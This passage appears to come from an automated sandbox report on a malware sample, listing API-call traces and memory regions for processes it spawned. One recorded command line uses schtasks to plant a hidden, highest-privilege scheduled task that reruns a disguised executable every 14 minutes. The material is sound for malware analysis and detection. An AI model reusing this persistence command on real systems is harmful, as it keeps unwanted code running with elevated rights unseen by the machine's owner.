HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8fc0) returned 1 [0121.086] GetProcessHeap () returned 0x286ac7d0000 [0121.086] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8fc0) returned 0x20 [0121.087] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8fc0) returned 1 [0121.087] GetProcessHeap () returned 0x286ac7d0000 [0121.087] GetProcessHeap () returned 0x286ac7d0000 [0121.087] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8f00) returned 1 [0121.087] GetProcessHeap () returned 0x286ac7d0000 [0121.087] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8f00) returned 0x20 [0121.087] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8f00) returned 1 [0121.088] GetProcessHeap () returned 0x286ac7d0000 [0121.088] GetProcessHeap () returned 0x286ac7d0000 [0121.088] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d6900) returned 1 [0121.088] GetProcessHeap () returned 0x286ac7d0000 [0121.088] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d6900) returned 0x18 [0121.088] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d6900) returned 1 [0121.088] GetProcessHeap () returned 0x286ac7d0000 [0121.088] GetProcessHeap () returned 0x286ac7d0000 [0121.088] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d8db0) returned 1 [0121.088] GetProcessHeap () returned 0x286ac7d0000 [0121.088] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d8db0) returned 0x20 [0121.089] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d8db0) returned 1 [0121.089] GetProcessHeap () returned 0x286ac7d0000 [0121.089] GetProcessHeap () returned 0x286ac7d0000 [0121.089] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d72b0) returned 1 [0121.089] GetProcessHeap () returned 0x286ac7d0000 [0121.089] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d72b0) returned 0x18 [0121.089] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d72b0) returned 1 [0121.089] exit (_Code=0) Thread: id = 165 os_tid = 0x12c4 Process: id = "24" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x32f37000" os_pid = "0x12c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"draw faced\" /sc MINUTE /mo 14 /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3190 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3191 start_va = 0x7c85000000 end_va = 0x7c851fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007c85000000" filename = "" Region: id = 3192 start_va = 0x7c85200000 end_va = 0x7c8527ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007c85200000" filename = "" Region: id = 3193 start_va = 0x27bec360000 end_va = 0x27bec37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027bec360000" filename = "" Region: id = 3194 start_va = 0x27bec380000 end_va = 0x27bec394fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027bec380000" filename = "" Region: id = 3195 start_va = 0x27bec3a0000 end_va = 0x27bec3a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027bec3a0000" filename = "" Region: id = 3196 start_va = 0x27bec3b0000 end_va = 0x27bec3b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027bec3b0000" filename = "" Region: id = 3197 start_va = 0x27bec3c0000 end_va = 0x27bec3c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027bec3c0000" filename = "" Region: id = 3198 start_va = 0x7df5ff470000 end_va = 0x7ff5ff46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff470000" filename = "" Region: id = 3199 start_va = 0x7ff684470000 end_va = 0x7ff684492fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684470000" filename = "" Region: id = 3200 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3201 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3203 start_va = 0x27bec3d0000 end_va = 0x27bec4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027bec3d0000" filename = "" Region: id = 3204 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3205 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3206 start_va = 0x27bec360000 end_va = 0x27bec36ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027bec360000" filename = "" Region: id = 3207 start_va = 0x7ff684370000 end_va = 0x7ff68446ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684370000" filename = "" Region: id = 3208 start_va = 0x27bec500000 end_va = 0x27bec5bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3209 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3210 start_va = 0x7c85280000 end_va = 0x7c852fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007c85280000" filename = "" Region: id = 3211 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3212 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3213 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3214 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3215 start_va = 0x27bec5c0000 end_va = 0x27bec70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027bec5c0000" filename = "" Region: id = 3216 start_va = 0x27bec370000 end_va = 0x27bec376fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027bec370000" filename = "" Region: id = 3217 start_va = 0x27bec710000 end_va = 0x27bec852fff monitored = 0 entry_point = 0x27bec738210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3218 start_va = 0x27bec3d0000 end_va = 0x27bec3d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027bec3d0000" filename = "" Region: id = 3219 start_va = 0x27bec400000 end_va = 0x27bec4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027bec400000" filename = "" Region: id = 3220 start_va = 0x27bec3e0000 end_va = 0x27bec3f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3221 start_va = 0x27bec710000 end_va = 0x27beca46fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3222 start_va = 0x27bec5c0000 end_va = 0x27bec69cfff monitored = 0 entry_point = 0x27bec61e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3223 start_va = 0x27bec700000 end_va = 0x27bec70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027bec700000" filename = "" Region: id = 3224 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3225 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3226 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3227 start_va = 0x27bec5c0000 end_va = 0x27bec5f8fff monitored = 0 entry_point = 0x27bec5c12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3228 start_va = 0x27beca50000 end_va = 0x27becbd7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027beca50000" filename = "" Region: id = 3229 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3230 start_va = 0x27bec5c0000 end_va = 0x27bec5c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027bec5c0000" filename = "" Region: id = 3231 start_va = 0x27bec5d0000 end_va = 0x27bec5d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000027bec5d0000" filename = "" Region: id = 3232 start_va = 0x27becbe0000 end_va = 0x27becd60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027becbe0000" filename = "" Region: id = 3233 start_va = 0x27becd70000 end_va = 0x27bee16ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027becd70000" filename = "" Region: id = 3234 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3235 start_va = 0x27bec5e0000 end_va = 0x27bec5e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027bec5e0000" filename = "" Region: id = 3236 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3237 start_va = 0x27bec5f0000 end_va = 0x27bec5f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000027bec5f0000" filename = "" Region: id = 3238 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3239 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3240 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 166 os_tid = 0x12f0 [0121.423] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0121.423] __set_app_type (_Type=0x1) [0121.423] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0121.423] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0121.424] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0121.424] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0121.424] CsrIdentifyAlertableThread () returned 0x0 [0121.424] GetProcessHeap () returned 0x27bec400000 [0121.424] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec404ef0 [0121.424] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.424] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0121.424] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0121.424] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0121.425] RtlVerifyVersionInfo (VersionInfo=0x7c8527f590, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0121.425] GetProcessHeap () returned 0x27bec400000 [0121.425] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec404f10 [0121.425] lstrlenW (lpString="") returned 0 [0121.425] GetProcessHeap () returned 0x27bec400000 [0121.425] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x2) returned 0x27bec404f30 [0121.425] GetProcessHeap () returned 0x27bec400000 [0121.425] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec404440 [0121.425] GetProcessHeap () returned 0x27bec400000 [0121.425] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec404470 [0121.425] GetProcessHeap () returned 0x27bec400000 [0121.425] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec404490 [0121.425] GetProcessHeap () returned 0x27bec400000 [0121.425] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec4044c0 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec408fd0 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec4090f0 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec404030 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec409000 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec409030 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec408f10 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec409060 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec404050 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec409090 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec4090c0 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec408ee0 [0121.426] GetProcessHeap () returned 0x27bec400000 [0121.426] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec409180 [0121.426] SetThreadUILanguage (LangId=0x0) returned 0x409 [0121.428] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.428] GetProcessHeap () returned 0x27bec400000 [0121.428] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec409150 [0121.428] GetProcessHeap () returned 0x27bec400000 [0121.428] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec4091b0 [0121.428] GetProcessHeap () returned 0x27bec400000 [0121.428] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec408f40 [0121.428] GetProcessHeap () returned 0x27bec400000 [0121.428] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec4091e0 [0121.428] GetProcessHeap () returned 0x27bec400000 [0121.428] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec409210 [0121.428] GetProcessHeap () returned 0x27bec400000 [0121.428] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec4040c0 [0121.428] _memicmp (_Buf1=0x27bec4040c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.428] GetProcessHeap () returned 0x27bec400000 [0121.428] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x208) returned 0x27bec409b80 [0121.429] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x27bec409b80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0121.429] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x7c8527f6e8 | out: lpdwHandle=0x7c8527f6e8) returned 0x76c [0121.430] GetProcessHeap () returned 0x27bec400000 [0121.430] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x776) returned 0x27bec40a8e0 [0121.430] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x27bec40a8e0 | out: lpData=0x27bec40a8e0) returned 1 [0121.430] VerQueryValueW (in: pBlock=0x27bec40a8e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x7c8527f680, puLen=0x7c8527f6e0 | out: lplpBuffer=0x7c8527f680*=0x27bec40ac90, puLen=0x7c8527f6e0) returned 1 [0121.432] _memicmp (_Buf1=0x27bec4040c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.433] _vsnwprintf (in: _Buffer=0x27bec409b80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x7c8527f658 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0121.433] VerQueryValueW (in: pBlock=0x27bec40a8e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x7c8527f670, puLen=0x7c8527f6d8 | out: lplpBuffer=0x7c8527f670*=0x27bec40aac0, puLen=0x7c8527f6d8) returned 1 [0121.433] lstrlenW (lpString="schtasks.exe") returned 12 [0121.433] lstrlenW (lpString="schtasks.exe") returned 12 [0121.433] lstrlenW (lpString=".EXE") returned 4 [0121.433] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0121.434] lstrlenW (lpString="schtasks.exe") returned 12 [0121.434] lstrlenW (lpString=".EXE") returned 4 [0121.434] _memicmp (_Buf1=0x27bec4040c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.434] lstrlenW (lpString="schtasks") returned 8 [0121.434] GetProcessHeap () returned 0x27bec400000 [0121.434] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec408fa0 [0121.434] GetProcessHeap () returned 0x27bec400000 [0121.434] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40bb10 [0121.434] GetProcessHeap () returned 0x27bec400000 [0121.434] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b570 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b540 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec403ee0 [0121.435] _memicmp (_Buf1=0x27bec403ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xa0) returned 0x27bec403f00 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40bae0 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40b660 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x20) returned 0x27bec40bb40 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec403fb0 [0121.435] _memicmp (_Buf1=0x27bec403fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x200) returned 0x27bec40bbb0 [0121.435] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x27bec40bbb0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0121.435] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x30) returned 0x27bec4038f0 [0121.435] _vsnwprintf (in: _Buffer=0x27bec403f00, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x7c8527f658 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.435] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40a8e0) returned 1 [0121.435] GetProcessHeap () returned 0x27bec400000 [0121.436] RtlSizeHeap (HeapHandle=0x27bec400000, Flags=0x0, MemoryPointer=0x27bec40a8e0) returned 0x776 [0121.436] RtlFreeHeap (HeapHandle=0x27bec400000, Flags=0x0, BaseAddress=0x27bec40a8e0) returned 1 [0121.436] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.436] GetThreadLocale () returned 0x409 [0121.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.436] lstrlenW (lpString="?") returned 1 [0121.436] GetThreadLocale () returned 0x409 [0121.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.436] lstrlenW (lpString="create") returned 6 [0121.436] GetThreadLocale () returned 0x409 [0121.436] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.437] lstrlenW (lpString="delete") returned 6 [0121.437] GetThreadLocale () returned 0x409 [0121.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.437] lstrlenW (lpString="query") returned 5 [0121.437] GetThreadLocale () returned 0x409 [0121.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.437] lstrlenW (lpString="change") returned 6 [0121.437] GetThreadLocale () returned 0x409 [0121.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.437] lstrlenW (lpString="run") returned 3 [0121.437] GetThreadLocale () returned 0x409 [0121.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.437] lstrlenW (lpString="end") returned 3 [0121.437] GetThreadLocale () returned 0x409 [0121.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.437] lstrlenW (lpString="showsid") returned 7 [0121.437] GetThreadLocale () returned 0x409 [0121.437] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0121.437] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.437] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.437] lstrlenW (lpString="/create") returned 7 [0121.437] lstrlenW (lpString="-/") returned 2 [0121.437] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.437] lstrlenW (lpString="?") returned 1 [0121.437] lstrlenW (lpString="?") returned 1 [0121.437] GetProcessHeap () returned 0x27bec400000 [0121.437] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec403930 [0121.437] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.437] GetProcessHeap () returned 0x27bec400000 [0121.437] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0xa) returned 0x27bec403950 [0121.437] lstrlenW (lpString="create") returned 6 [0121.437] GetProcessHeap () returned 0x27bec400000 [0121.437] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x18) returned 0x27bec40aaf0 [0121.438] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.438] GetProcessHeap () returned 0x27bec400000 [0121.438] RtlAllocateHeap (HeapHandle=0x27bec400000, 